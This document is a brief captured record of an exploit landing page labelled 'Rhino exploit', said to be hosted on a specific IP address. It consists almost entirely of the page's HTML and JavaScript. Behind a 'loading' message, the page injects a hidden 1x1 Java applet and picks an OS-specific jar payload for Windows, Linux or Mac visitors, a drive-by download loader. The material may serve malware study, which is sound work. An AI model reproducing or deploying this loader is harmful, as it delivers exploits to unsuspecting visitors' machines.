62.152.104.149 index.html Rhino exploit

-----------------------------------------------------------
Second index.html in eventi_file direcory on 62.152.104.149 containing Rhino exploit
-----------------------------------------------------------
<html>
<body>
<br> loading...................<br>
<script>
    var emb = document.createElement('applet');
    emb.setAttribute('name', 'applet');
    emb.setAttribute('width', '1');
    emb.setAttribute('height', '1');
    emb.setAttribute('code', 'Func1.class');

    if (navigator.userAgent.indexOf('Win') != -1){

        emb.setAttribute('archive', 'index.jar');
    }
    else if (navigator.userAgent.indexOf('Linux') != -1){
        emb.setAttribute('archive', 'a.jar');
    }
    else if (navigator.userAgent.indexOf('Mac') != -1){

        emb.setAttribute('archive', 'default.jar')
    }
    document.body.appendChild(emb);

</script>
</body>
</html>